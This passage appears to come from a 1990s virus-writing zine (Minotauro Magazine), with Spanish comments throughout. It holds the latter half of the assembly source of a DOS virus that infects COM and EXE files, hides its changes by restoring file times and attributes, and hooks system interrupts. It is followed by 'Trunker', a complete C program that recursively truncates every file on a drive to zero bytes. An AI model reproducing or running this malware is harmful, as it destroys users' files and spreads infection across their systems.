PTR [DI+1],3Ah; ":" JNZ skipdrive MOV DL,[DI] SUB DL,40h; de caracter a numero ("A"(41) -> 1) skipdrive: MOV AH,36h; get disk free space INT 21h CMP BX,2 ; bx = available clusters JNB okspace JMP quitinf okspace: POP DX MOV CX,80h XOR AL,AL ; buscar el 0 del nombre db 3eh ; ds: REPNZ SCASB DEC DI ; di apunta al 0 PUSH word ptr [DI] ; ? PUSH DS PUSH DI MOV WORD PTR [DI],0021h ; poner un "!" al final? MOV cs:word ptr [nameptr-vstart],DS ; guardar el nameptr MOV cs:word ptr [nameptr-vstart+2],DX XOR AL,AL CALL fattr ; get attributes MOV cs:[vfattr-vstart],CX ; guardar atributos MOV AL,1 MOV CX,20h CALL fattr ; set attributes to 20h MOV AX,3D02h ; abrir file CALL call21 MOV BX,AX JB abortinf MOV AX,5700h ; get date & time CALL call21 MOV cs:[ftime-vstart],CX ; save date and time MOV cs:[fdate-vstart],DX MOV AX,CS MOV DS,AX CALL readf CMP WORD PTR cs:[exehead-vstart],5A4Dh; es EXE? JZ isexe MOV AX,ds:[exehead-vstart] ; mandar los primero 3 MOV CH,ds:[exehead-vstart+2] ; bytes a los MOVs de MOV ds:[orbytes1-vstart],AX ; la rutina de instalacion MOV ds:[orbytes2-vstart],CH ; de COM CALL checkinf JZ isinfd CMP AX,0FC00h; Size del COM-3 > a FC00? JA isinfd MOV ds:[exehead-vstart+1],AX ; fixear el JMP MOV BYTE PTR ds:[exehead-vstart],0E9h finishinf: INC WORD PTR cs:[infcount-vstart] ; un contador de infecciones MOV AH,40h ; escribir el virus al final MOV CX,vsize XOR DX,DX CALL call21 XOR AL,AL XOR CX,CX XOR DX,DX MOV AH,42h ; ir al principio CALL call21 MOV AH,40h ; escribir 1C bytes al principio CALL writef ; 3 fixeados + los otros (originales) isinfd: MOV CX,ds:[ftime-vstart] MOV DX,ds:[fdate-vstart] MOV AX,5701h ; restore original date & time CALL call21 MOV AH,3Eh ; cerrar file CALL call21 MOV AL,01 MOV CX,ds:[vfattr-vstart] CALL fattr ; restore atributos originales abortinf: POP DI POP DS POP word ptr [DI] quitinf: CALL restorerr ; esto es el 3er disparador... chequear que el port 3E4 este activo MOV DX,3E4h ; el port 3E4 devuelve FF? XOR AH,AH IN AL,DX CMP AL,0FFh ; si lo devuelve, pone a 1 la variable de activacion JZ notvar CALL varto1 notvar: POP DS POP ES POPA JMP quit21 isexe: CALL checkinf JZ isinfd ; si esta infectado, salir PUSH BX ADD AX,0003 ; DX.AX size del file - 3. Osea, ahora le suma 3. :-) ADC DX,0 PUSH DX PUSH AX MOV AX,ds:[exehead-vstart+2]; 2 = reminder MOV BX,ds:[exehead-vstart+4]; 4 = Pages MOV CX,BX SHR CX,7 ; Pages = ffff=> 1ff. SHL BX,9 ; Pages = * 200h OR BX,AX SUB BX,0200h ; bx = size real? SBB CX,0; ? MOV DX,ds:[exehead-vstart+14h] ; 14 = IP MOV AX,ds:[exehead-vstart+16h] ; 16 = CS MOV ds:[Instl_IP-vstart],DX ; Salver CS:IP originales en el c¢digo MOV ds:[Instl_CS-vstart],AX MOV DX,ds:[exehead-vstart+10h] ; 10 = SP MOV AX,ds:[exehead-vstart+0eh] ; 0E = SS MOV ds:[Instl_SS-vstart],AX ; Salvar SS:SP originales en el c¢digo MOV ds:[Instl_SP-vstart],DX POP AX POP DX CMP CX,DX ; CX (2bytes + altos de size) = Pages? JNZ notl CMP BX,AX JZ allok notl: POP BX JMP isinfd ; si no son iguales, esta infectado allok: MOV BX,AX ; DX.AX size NEG BX AND BX,0Fh ; bx = lo que falta para el paragr. ADD AX,BX ADC DX,0; ugh SHR AX,4 SHL DX,0Ch OR AX,DX ; AX = nuevo CS SUB AX,ds:[exehead-vstart+8] ; AX =- header size; MOV WORD PTR ds:[exehead-vstart+14h],instlexe-vstart ; nuevo IP MOV ds:[exehead-vstart+0Eh],AX ; nuevo SS MOV WORD PTR ds:[exehead-vstart+10h],400h ; nuevo SP MOV ds:[exehead-vstart+16h],AX ; nuevo CS MOV AH,40h ; escribir los bytes que faltan MOV CX,BX ; para el para XOR DX,DX POP BX INT 21h ADD CX,vsize ADD ds:[exehead-vstart+2],CX MOV CX,ds:[exehead-vstart+2] AND WORD PTR ds:[exehead-vstart+2],1FFh ; fixear el reminder SHR CX,9 ADD ds:[exehead-vstart+4],CX ; fixear las pages ! JMP finishinf ; ir a finalizar todo pipi cucu checkinf: ; rutina chequeo de infeccion previa MOV AX,4202h MOV CX,0FFFFh; -1 MOV DX,0FFFDh; -3 CALL call21 ; ir a los ultimos 3 bytes PUSH AX PUSH DX MOV DX,buff3b-vstart MOV AH,3Fh MOV CX,3 CALL call21 ; leer los ultimos 3 bytes CMP WORD PTR ds:[buff3b-vstart],0828h ; es igual a 28 08 93? JNZ notinf CMP BYTE PTR ds:[buff3b-vstart+2],93h ; si es asi, esta infectado. notinf: POP DX POP AX RET readf: ; leer 1c bytes del file MOV AH,3Fh writef: ; escribir 1c bytes al file MOV CX,001Ch; 28 bytes MOV DX,exehead-vstart ; ? CALL call21 RET hookints: ; colgarse de las interrupciones MOV AX,ES MOV DS,AX MOV AX,3521h INT 21h MOV word ptr ds:[oldint21-vstart+2],ES MOV word ptr ds:[oldint21-vstart],BX MOV DX,newint21-vstart MOV AH,25h INT 21h MOV AL,5 OUT 70h,AL ; incrementar el contador de instalaciones en CMOS IN AL,71h INC AL OUT 71h,AL RET fattr: ; poner atributos originales o conseguirlos (depende de AL) MOV DS,cs:word ptr [nameptr-vstart] MOV DX,cs:word ptr [nameptr-vstart+2] MOV AH,43h INT 21h RET dumberr: ; setear int 24 a un dumb handler para prevenir mensajes de error PUSH DS PUSH ES PUSH DX MOV AX,3524h INT 21h MOV cs:word ptr [oldint24-vstart],BX ; guardar int 24 orig. MOV cs:word ptr [oldint24-vstart+2],ES MOV DX,newint24-vstart MOV AX,CS MOV DS,AX doit: MOV AX,2524h ; setear nueva int 24 INT 21h POP DX POP ES POP DS RET restorerr: ; restaurar int 24 original PUSH DS PUSH ES PUSH DX MOV DS,cs:word ptr [oldint24-vstart+2] MOV DX,cs:word ptr [oldint24-vstart] JMP doit phxstr db "PHX",0 varto1: ; setear variable de activacion a 1 MOV BYTE PTR cs:[actvar-vstart],1 NOP RET ; contador de infecciones infcount dw 0;en mi ejemplar era 27. lindo numero.. :-) ;3 bytes para reconocimiento... son arbitrarios? Es cierto que parece una fecha db 28h, 8, 93h vend: ; aqui termina el c¢digo. ;heap. esto NO PERTENECE al virus en si, es memoria temporaria. ok? exehead db 1ch dup(0) ; para leer 1c primero bytes del f. buff3b db 3 dup(0); 3 byte buffer para chequeo de reinfecc. ftime dw 0 ; original file time fdate dw 0 ; original file date nameptr dd 0 ; nameptr vfattr dw 0 ; original file attributes oldint24 dd 0 ; original int 24 actvar db 0 ; variable de la activacion endheap: ends end start // Minotauro Magazine // Trunker By Jason. // Turbo C++ 3.0 #include #include #include #include #include #include // Estas son las librerias necesarias para la ejecucion de este programa void makdir(); // Rutina de entrada a directorios void destruccion(); // Rutina para truncar los files del directorio donde entro void main() { clrscr(); printf("Truncando files... sea paciente ;-)..\n"); chdir("\\"); // es necesario poner 2 barras "\\" ya que el C usa la "\" para funciones // especificas como las que se ven arriba de "\n" eso manda un CR LF // caracteres 10 y 13 en decimal o Ah y Dh en hexa de la tabla ASCII makdir(); // Llamo a MAKDIR } void destruccion() { FILE *archivo; struct ffblk ffblk; int done; // Defino las variables done = findfirst("*.*",&ffblk,2); // Busco en el directorio actual "*.*" incluyendo archivos ocultos // Mientras haya archivos.. while (!done) { if ((archivo = fopen(ffblk.ff_name, "wb")) == NULL) // Abro file ("wb" write binary) binario para escritura { fprintf(stderr, "Error abriendo archivo...\n"); // Si llego aca hay error al abrir el file } fwrite(0, 0, 1, archivo); // Escribo NADA :-) fclose(archivo); // Cierro el file done = findnext(&ffblk); // Que pase el que sigue ;-) } } void makdir() { struct ffblk ffblk; int done; // Defino variables destruccion(); // Llamo a destruccion para truncar los del directorio raiz done = findfirst("*.*",&ffblk,16); // Busco en el directorio actual "*.*" incluyendo directorios while (!done) { if((ffblk.ff_name[0] != *".") && (ffblk.ff_attrib == 16)) // Si es un directorio.. que no sea que su primer caracter no sea "." // o sea "." o ".." entonces entro { chdir(ffblk.ff_name); // Entro al directorio que encontre destruccion(); // Trunco los files makdir(); // Me llamo de nuevo chdir(".."); // Vuelvo al directorio anterior } done = findnext(&ffblk); // Busco el proximo } }